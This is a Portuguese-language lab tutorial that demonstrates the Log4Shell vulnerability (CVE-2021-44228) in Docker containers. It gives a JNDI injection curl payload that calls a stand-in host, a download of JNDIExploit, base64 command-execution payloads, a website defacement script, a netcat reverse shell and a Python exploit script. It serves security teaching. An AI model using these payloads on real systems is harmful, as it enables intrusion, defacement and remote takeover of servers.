Demonstração do Log4Shell CVE-2021-44228
No final de 2021, a maior notícia no mundo da segurança cibernética foi a vulnerabilidade no Log4j, identificada como CVE-2021-44228, também conhecida como Log4Shell, que recebeu a pontuação máxima de 10 no sistema de classificação de vulnerabilidades CVSS, sendo considerada a vulnerabilidade mais significativa dos últimos anos, depois de Heartbleed e ShellShock. Alguns até a descrevem como uma "vulnerabilidade de nível nuclear", mostrando o quão profundo é o seu impacto. Este projeto analisa o CVE-2021-44228 e inclui uma implementação prática em laboratório.
Um logfile (arquivo de registro) é um arquivo que registra eventos que ocorrem em um sistema operacional ou software em execução, ou mensagens trocadas entre usuários de software de chat online. Muitos sistemas operacionais, frameworks de software e programas possuem sistemas de registro. O Java possui um pacote de log muito útil chamado Log4j. Este pacote pertence à Apache Software Foundation, por isso seu nome completo é Apache Log4j.
Log4j é uma ferramenta muito útil, amplamente utilizada por programas Java. Muitas vezes, engenheiros de software precisam gravar dados de execução de programas em arquivos de log ou em outros bancos de dados para uso posterior. É para isso que serve o Log4j: ele pode receber uma string de algum lugar (por exemplo, o ID de usuário inserido na tela de login) e gravá-la em outro lugar (por exemplo, o campo de entrada de dados do processo de autenticação). Além da cópia/cola básica, o Log4j também pode inspecionar e interpretar o conteúdo da string. E interpretar é uma ação perigosa, porque, a menos que o programa primeiro limpe a string, problemas são fáceis de ocorrer durante a interpretação. O Log4j não limpa a string antes de interpretá-la, portanto, atacantes têm a oportunidade de realizar ataques de injeção (injection).
CVE-2021-44228 é uma vulnerabilidade grave, pois permite que um servidor Java seja alvo de RCE (Remote Code Execution, execução remota de código) por um atacante não autenticado. A vulnerabilidade decorre de como o log4j processa mensagens de log. Se um atacante enviar uma mensagem manipulada (contendo uma string como ${jndi:ldap://rogueldapserver.com/a}), isso pode levar ao carregamento de uma classe de código externa ou à pesquisa de mensagem e à execução desse código, resultando em RCE.

Abaixo está o fluxo básico do RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
Baixe primeiro a VM SEED Ubuntu 20.04. Esta VM fornece um ambiente Docker pré-instalado. Download
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Para simplificar, todos os servidores estão na mesma LAN.

Nesta tarefa, o usuário pode se familiarizar com o funcionamento do log4j. O usuário pode usar o header X-Api-Version para usar o log4j para registrar logs.
# <> é o conteúdo que o usuário precisa modificar
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Se o servidor analisar corretamente a requisição enviada, ele retornará um Hello World!
No relatório, registre o resultado retornado pelo servidor e se o servidor analisou corretamente a requisição e registrou o log.
Em 2013, o pacote Log4j adicionou o plugin "JNDILookup", permitindo que desenvolvedores usassem JNDI combinado com LDAP para obter objetos de dados Java de outros JNDITutorials externos.
A seguir, vamos usar o log4j que acabamos de usar em conjunto com o JNDIExploit para fazer o servidor executar o comando que desejamos.
# <> é o conteúdo que o usuário precisa modificar
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
Crie um arquivo secret.txt na pasta /tmp e entre no servidor para confirmar se o arquivo foi criado com sucesso.
Nota-1: <content> não pode conter comandos diretamente; precisa ser convertido
Nota-2: Como ovulnerable-appnão possui o shell/bin/bashdisponível, para confirmar o arquivo, você pode usar o comando docker
$ docker exec vulnerable-app ls /tmp
Após as tarefas anteriores, descobrimos que o vulnerable-app executa qualquer comando base64 do atacante. Se o atacante quiser realizar operações mais complexas, ele pode enviar um script de ataque shell script para o servidor executar.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
Acima está um script para modificar a pontuação do site, que está armazenada em index.html. Primeiro, execute-o com sucesso e identifique as diferenças. Em seguida, modifique este script para alterar o arquivo de pontuação para o número desejado.
Nota-1: Outra maneira conveniente de modificar arquivos é usando
sed
Nota-2: Como ovulnerable-appnão permite que o usuário visualize /var/www pelo navegador, para confirmar o arquivo, use o comando docker:
$ docker exec vulnerable-app cat /var/www/index.html
Após as tarefas anteriores, já podemos converter os comandos que desejamos executar em base64 para o servidor executar. Para controlar completamente o servidor, podemos usar comandos para criar um reverse shell.
# <> é o conteúdo que o usuário precisa modificar
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
Para facilitar, fornecemos um script Python para realizar o ataque.
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Nota: O
vulnerable-appnão possui/bin/bashnem/dev/tcp, portanto não é possível usar o método normal de reverse shell. No entanto, podemos criar um arquivo pipe para ler e escrever nele.
$ mkfifo <file-name>